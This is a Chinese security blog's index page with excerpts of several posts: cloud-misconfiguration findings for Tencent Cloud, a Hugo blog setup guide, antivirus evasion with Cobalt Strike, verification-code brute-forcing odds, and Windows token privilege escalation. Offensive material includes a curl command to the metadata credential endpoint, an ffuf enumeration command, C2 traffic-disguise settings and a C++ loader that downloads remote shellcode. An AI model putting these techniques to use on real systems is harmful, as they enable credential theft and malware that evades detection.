Posts

整理一下过去之前发现的一些小趣事，本文并非批评腾讯云，相关研究和时效性有关，不代表读者当前阅读和未来腾讯云的安全状态，但我分享欲望实在强烈，就在博客简单分享给大家。 无缓解的metadata导致SSRF漏洞默认即可打临时ak sk 之前研究AWS的时候，我发现有metadata的v2版本缓解了ssrf打iam metadata的情况，迁移到腾讯云上就是CAM 角色关联实例打metadata，但是翻找文档期间并未找到相关缓解建议，结合实际实例配置情况，最终得出结论—目前腾讯云没有缓解metadata的问题。 配置过程如下，可以看到我们配置压根没得选： 第二部设置网络和主机就可以看到 此处压根没有版本选择，只能直接选上： 如果绑定了CAM，终端可以直接访问，类似于： curl http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/ 腾讯云SSRF会被拦截，但是目前来说，WAF并不会阻断腾讯云自己的域名 —– metadata.tencentyun.com ，web ssrf漏洞依然可以直接打出临时ak sk ，对比之下aws的设计已经缓解了这个问题，由于SSRF无法控制请求头变成PUT，因此AWS的设计更加安全，而腾讯云在这一点上就不安全 默认策略放通所有地址 默认情况腾讯云放通icmp\ssh\rdp和内网所有访问，稍微比AWS策略更宽松，虽然这些也算不了什么大影响，但是如果服务器默认不出网，意味着相关无直接回显的漏洞将没有直接手段能确认漏洞存在，不出网极大提高了攻击门槛，腾讯云云上的默认网络策略比较宽松，如果有漏洞比较方便黑客操作。 不安全的存储桶名称，导致潜在的横向攻击 我们过一下存储桶的创建就很容易意识到这个问题，在创建存储桶的时候，观察到腾讯云 —实际上有固定的后缀– 1309XXXX，这个是非常明显的强特征；腾讯云自己也意识到默认域名存在安全风险，建议自己配置自定义域名： 黑客可以利用这一点，可以横向发起攻击，由于限定了存储域名的后缀，只需要不断爆破即可发现同意账户下新的存储桶，从而进一步攻击和收集目标环境的信息，访问一个不存在的将会提示NoSuchBucket： 存在根据权限情况会回显不同，这次是AccessDenied： 利用这个区别，可以把NoSuchBucket的过滤掉，然后爆破出存储桶，有不少存储都是没有ACL限制，直接访问即可获取桶内文件，这一点和我们做目录扫描其实没有区别，看字典是否强大，是否有直接列出文件的漏洞。 ffuf是我常用的选项，直接插请求包来fuzz，插入host，插入路径都行，得师傅们自己构造路径了： ffuf -request req.txt -w worldlist.txt 但是这一点真不能说是坏处，名称固定了后缀有效的防止了存储桶废弃之后导致潜在的供应链攻击，这一点腾讯算是加分，好坏中和了。 日志审计缺失，部分控制台事件默认不会被记录 观察到在控制台的策略中，使用鉴权模拟器进行的权限校验活动不会被腾讯云的日志审计收录，这对于黑客确定自己的权限有很大的帮助，在云内进行认证扫描的活动会被大大降低，目前社区没有广泛公开这项隐蔽扫描的技术，但可以遇见如果后续有人武器化这部分扫描原理会使得云内检测非常棘手 地址如下，目前没有现成的SDK可以直接调用，我已经没兴趣实现这部分认证和扫描的逻辑，感觉也是体力活没啥技术含量，也许可以用来规避蜜罐的AK SK？ https://console.cloud.tencent.com/cam/policy/simulate?entityType=role&keyword=CSIP_QCSLinkedRoleInGlobalScene 托管实例风险 云服务器有一个非常有意思的功能，可以托管实例到腾讯云上，托管过后的服务器可以执行命令、上传文件，是不是非常像我们用的C2里面的玩意？（笑），实际上不少黑客都喜欢用这个托管来做免杀（本身是白签名的二进制）加上合法流量，使得这个功能定位非常尴尬。如果本身企业在用腾讯云，要区分出来恶意的流量是非常困难的。 后记 上述也谈不上有什么技术含量，就不写总结了，写写感悟吧。在研究过程中，尤其是全新的，尚未有人踏足的领域，研究员必须自己积累大量的基础知识（我的意思是构建整个系统的逻辑），然后从中推演出其中的术法、神通，模仿他人的、复现他人的技术虽然能完成项目上的目标亦或者是其他目的，但终究止步于他人之道。 ...

最近换了电脑，博客已经一年多了，最近更新频率低了，后面会勤快一些把之前研究和学习的都分享出来，（主要是写的太乱了，不整理估计只有自己勉强看得懂，而且有些细节部分的东西时间隔得太长了，我都快忘干净了，整理一下对自己复习也有帮助）；先分享一下最初搭建的完整流程，这也是我能想到的最安全、最方便、最优雅的博客搭建方法，不出意外应该会一直用下去。 选取的原因 个人隐私考虑：Cloudflare Pages托管在Cloudflare上，不必自己购买服务器，使用的是Cloudflare的全球网络，不存在中心化的服务器，而且可以配置自己的域名，域名不会保留个人信息，会默认替换为Cloudflare的注册信息，而且可以有“电子邮件路由”功能，可以对外使用我自己的域名，启用邮件转发来隐藏我真实使用的邮件，提高一点点隐私和不必要的麻烦 博客安全考虑：背后博客用的是Hugo，Hugo纯静态的页面直接使得正面的攻击面收敛为0，不存在被常规漏洞打击和未来0day打击的风险，同时使用了Cloudflare的CDN，默认提供了强大的DDOS保护，不存在被打下线的风险，博客部署在Cloudflare全球网络上，整体安全系数接近绝对防御。 博客颜值考虑：且Hugo的主题很漂亮、也很丰富，如果看腻了也可以随时更换主题，轻松迁移更替 社区维护考虑：目前社区一直积极活跃，已经83kstar，业内公认的博客搭建方法，应该能繁荣好多年，虽然现在配置也很麻烦，但好在用的人多参考资料也多 搭建流程 前提准备： 注册一个Github账号 注册一个Cloudflare账户，需要信用卡 本地安装好Git，如下图 提前去 https://github.com/gohugoio/hugo/releases 下载好hugo的对应的二进制文件，并且把它的目录加入你的电脑的环境变量，这样后续方便切换不同 Github上创建博客的项目： 创建完毕后，记下你自己的这个，等会要用这个地址推送hugo 博客到项目中： hugo.exe version PS D:\blog\zeroday> hugo.exe new site zeroday Congratulations! Your new Hugo site was created in D:\blog\zeroday\zeroday. Just a few more steps... 1. Change the current directory to D:\blog\zeroday\zeroday. 2. Create or install a theme: - Create a new theme with the command "hugo new theme <THEMENAME>" - Or, install a theme from https://themes.gohugo.io/ 3. Edit hugo.toml, setting the "theme" property to the theme name. 4. Create new content with the command "hugo new content <SECTIONNAME>\<FILENAME>.<FORMAT>". 5. Start the embedded web server with the command "hugo server --buildDrafts". See documentation at https://gohugo.io/. ...

本文首发于先知社区：https://xz.aliyun.com/news/15923 本文分享的动态逃逸杀软，主要聚焦在流量、内存、行为上进行规避，并且组合了间接系统调用、反调试、反沙箱等技术进一步对抗杀软，也为后续综合逃逸EDR/XDR打下良好的基础，测试使用企业版卡巴斯基、火绒6.0、360开启晶核状态，完整代码已经上传Github 流量规避 Cobalt Strike为了提供了非常灵活的流量调整，我们需要修改profile中的流量，我这里的配置修改了热门项目的4.9的内容，默认的jquery流量已经被杀毒和EDR标记严重，卡巴斯基对于这种流量是直接秒杀的，而且即使是启用https监听对于杀毒没有意义，杀毒安装的时候默认就把自己的根证书安装上了系统，所以是可以解密https，如下图 需要提前说明，如果VPS被沙箱和情报标记为恶意ip那无论怎么改流量都会秒杀，我搞了一下午发现无论怎么改都过不了卡巴的流量，后面注意到可能是我服务器ip被拉黑了 威胁原因是云保护，换个ip就行了： 为了修改流量，需要快速学习profile的语言，阅读文档，我们可以知道http-get部分是拉取请求服务要执行的内容，为了区分不同的beacon，metadata就是加密好的元数据，为了让metadata看起来不可疑，使用了base64url对元数据进行编码，同时用header指定了Cookie头，用prepend添加一些正常的数据 我们可以运行一下c2lint看看流量呈现的效果 ./c2lint endlessparadox.profile server是控制响应output字段，mask代表随机xor加密，base64放在后面会进一步编码加密的流量降低流量的熵值 大部分师傅都是做web出身应该很容易理解这些配置文件字段，流量效果如下，完全融入正常流量： 再看一下http-post，这部分是beacon发送执行命令和任务的结果，id来确定任务序列，output自然就是任务的结果，处理也就经过了mask加密和base64url编码 下面就是模拟的流量请求： 在原有的基础上修改还是比较容易，上面的流量就是我用bp抓取了B站的流量，借此模拟合法B站的请求，原版的github里面的请求对着一个静态资源发送POST请求确实是很可疑？师傅也可以抓取其他流量，按照正常的网站修改就好了。 分阶段的shellcode不会加密流量非常坑，同时为了避免空间绘测识别我的C2我关掉了host_stage，当c2lint所有检查通过之后就可以愉快的拉起cs去测试了 网络获取shellcode 为了分离shellcode和加载器，我使用内置windows api的InternetOpenA去获取远程服务中的shellcode std::vector<unsigned char> DownloadShellcode(const char* url) { std::vector<unsigned char> shellcode; HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (hInternet) { HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0); if (hUrl) { DWORD bytesRead = 0; const DWORD bufferSize = 4096; BYTE buffer[bufferSize]; while (InternetReadFile(hUrl, buffer, bufferSize, &bytesRead) && bytesRead != 0) { shellcode.insert(shellcode.end(), buffer, buffer + bytesRead); } InternetCloseHandle(hUrl); } InternetCloseHandle(hInternet); } return shellcode; } 自解密的shellcode 我现在不想引入其他算法再去解密我们的shellcode，硬编码key不是最佳实现，目前常用的算法总会被少数几个杀毒和edr标记为可疑，我们应该处理shellcode，实现自解密，不过对于我这种一般的开发者纯汇编实现有些过于困难；而且有枪不用，用气功，怎么成为一代宗师？所以我这里使用了Sgn工具，它会帮我们处理shellcode实现运行时候自解密 ./sgn --arch=64 -S -i shellcode.txt -S是代表安全生成shellcode, -i指定我们要处理的shellcode文件，–arch=64代表指定处理64位的 它处理Payload的流程如下： 根据大佬写的算法随机空间非常大，杀毒别说抓特征，写出Yara规则都不可能： 需要注意一个问题，自解密的Shellcode是需要内存区域为RWX权限，对付杀软倒是还行，对付更厉害的EDR/XDR会被重点关照，因此自解密的shellcode也不是什么灵丹妙药，最多作为一种备选的方案 Windows API通过系统调用 我们用Windbg打个断点到VirutalAlloc这边，跟进去来看看正常API调用的流程，注意堆栈调用和反汇编区域： 右下方是正常windows api调用的一个正常路径，最下方这两个是线程启动正常的调用，我们暂时不管： 07 00000054`5532fa40 00007ff8`9a76af38 KERNEL32!BaseThreadInitThunk+0x1d 08 00000054`5532fa70 00000000`00000000 ntdll!RtlUserThreadStart+0x28 和程序有关入口其实是就是main函数，也就是callback!main+0x99，其他都是一些C库的东西，和windows api没关系： ...

问题背景 起因是前段几个月有个渗透项目，对面web的后台没有验证码错误次数的校验，可以反复尝试，最终我不断获取验证码，利用FFUF天生的高并发速度直接搞到了一个账户的验证码，最终撕开web后台，进一步挖掘了后台的漏洞。当时很顺利，不超过两个小时就进入对面的web后台系统了。 我由此好奇，到底是这类攻击受到什么影响，这类攻击的成功率又如何？在现实成功的概率有多大？我们可以转化成一个数学背景，然后进行建模分析。 建模分析 6 位纯数字验证码（000000-999999，共 1,000,000 种可能）。 验证码 完全随机，每次获取都会变化。 有效期：5 分钟（可调整）。 爆破速度：1000 次/秒。 目标是计算 在不同时间窗口内的破解成功率，并探索 如果缩短验证码有效期而不影响 5 小时内的破解成功率。 数学分析 我的大学数学计算能力已经还给数学老师了，这里就偷个懒，问问GPT，看看O3的思维链的结论： 这个它公式的结论： 这是deepseek的计算结果： 题外插曲 没想到居然是100%，不过这倒是和我早年的SRC挖掘的实践情况一致，实际上，我几年前利用这类逻辑漏洞基本上能在2个小时直接就接管这类用户。如果运气够好，甚至第一次攻击即可接管。 插一句题外故事，今年年前还有刚入门的新人在我面前吹嘘自己SRC，说自己SRC排名很高，一问是挖的什么漏洞，还说TOP10的SQL注入、XSS，我内心都直想笑。不过想来没必要揭穿人家，毕竟给新人保留一点颜面，等到他们被毒打了才知道不容易。 据我所知，BAT、主流大厂收的SRC漏洞，基本上都是逻辑漏洞为主，RCE、SQL这类漏洞早10年或许可能有？现在”新人“再找这类基本就是痴人说梦，倒是听说过有些使用小0day交SRC，也就赚个零花钱；之余SRC百万赏金，怕不是得黑客技术修炼到”化神期“，修炼10年起步的老妖怪，或是大陆的天才才能到达的层次了。 更进一步 回到我们原题，既然和验证码有效期无关，我们就更关注速率来判断成功率了，并不是什么系统都能跑到1000个并发每秒的，让AI帮我们推导一下： 这个是deepseek的答案： 这个是gork3的答案： 看起来至少有两个错了，或者都错了，大模型的幻觉依然严重，到2025年依然不擅长解答复杂数学题，或者说任何稍微复杂的问题就不懂装懂了。不是数学专业，我也无法判定到底谁对错，算是简要分析了一下之前的攻击思路在数学逻辑的可能性。 总结 这类攻击方法也就对大集团、高并发的业务场景有用。更具体来说，根据我这几年经验，一般也就出现在JAVA、GO、RUST这种默认跑的飞快的web上，基本上2000个并发起步，甚至上万，倒是不用太关心概率问题，基本上就是100%，碰上IIS、PHP这种慢的和乌龟一样的，基本不用考虑， 这些的并发维持在一两百都是烧高香了。

本文首发于先知社区 : https://xz.aliyun.com/news/12747 在渗透测试中，我们输入getsystem命令轻松就获得了一个system权限的shell，本文将解析幕后发生的工作流程和原理，了解了这些之后我们将以更加灵活的方式实现权限提升定制出我们需要的工具，并且更好的规避安全监测，在正式阅读之前，让我们简单学习一下几个概念辅助我们理解源码中的内容。 认识Windows访问控制模型 Window的访问控制模型如此复杂，以至于完全理解Windows权限是非常困难的，不过我们可以从宏观上做一个简单的理解： 当windows完成了身份认证（例如开启输入密码、rdp登录、匿名登录等等）会生成一份主的访问令牌（access token） 我们所有通过用户启动的进程都会有一份此访问令牌的副本，默认情况下，当进程的线程与安全对象（几乎所有的windows对象都是安全对象：文件、进程、服务等等）交互时，系统会使用主令牌 进程的线程可以模拟客户端帐户，模拟允许线程使用客户端的Access Token与安全对象交互，拿到的令牌称之为模拟令牌。 模拟客户端的线程同时具有主令牌和模拟令牌 你可能好奇Access Token到底是什么，我们可以简单理解为一个windows内核对象，里面包含着各种信息： 用户标识符（User Identifier）：通常是一个唯一的账户安全标识符（SID），用于识别用户账户。 组标识符（Group Identifiers）：用户所属的一组或多组的SIDs，它反映了用户在不同的组中的成员资格。 权限（Privileges）：一个或多个权限，指明了线程所能执行的特定系统级操作（例如关机、改变系统时间、模拟客户端权限等）。 所有者（Owner）：该令牌指定的默认所有者SID。在创建对象时，通常会被用作对象的所有者。 访问控制列表（DACL）：指定哪些用户或组可以对对象执行何种操作。 登录会话（Logon Session）：一个标识符，指关联到此访问令牌的登录会话。 这些信息在c++里面都有对应的数据结构类型，我们要操控获取Access Token的信息是非常容易的，举一个简单的例子，下面是微软官方文档用户标识的TOKEN_USER结构: typedef struct _TOKEN_USER { SID_AND_ATTRIBUTES User; } TOKEN_USER, *PTOKEN_USER; SID_AND_ATTRIBUTES类型的User里面包含着sid typedef struct _SID_AND_ATTRIBUTES { #if ... PISID Sid; #else PSID Sid; #endif DWORD Attributes; } SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES; 实现获取当下进程的用户的sid信息，同理其他信息也是一样的： // token.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <iostream> #include <Windows.h> #include <processthreadsapi.h> #include <sddl.h> int main() { HANDLE hToken = NULL; BOOL bSuccess = FALSE; DWORD dwSize = 0; PTOKEN_USER pTokenUser = NULL; LPWSTR szSID = NULL; using namespace std; bSuccess = OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken); if (!bSuccess) { return 1; } // 获取令牌信息所需的大小 GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize); pTokenUser = (PTOKEN_USER)malloc(dwSize); // 获取访问令牌的用户信息 if (GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize)) { // 将SID转换成字符串形式 if (ConvertSidToStringSid(pTokenUser->User.Sid, &szSID)) { // 标准输出SID字符串 wcout << "User SID: \n" << szSID << endl; LocalFree(szSID); } } // 清理 if (hToken) CloseHandle(hToken); if (pTokenUser) free(pTokenUser); } 更简单的获取方法是直接输入whoami /all获取当下所有有关的信息，第一行就是用户名和SID： ...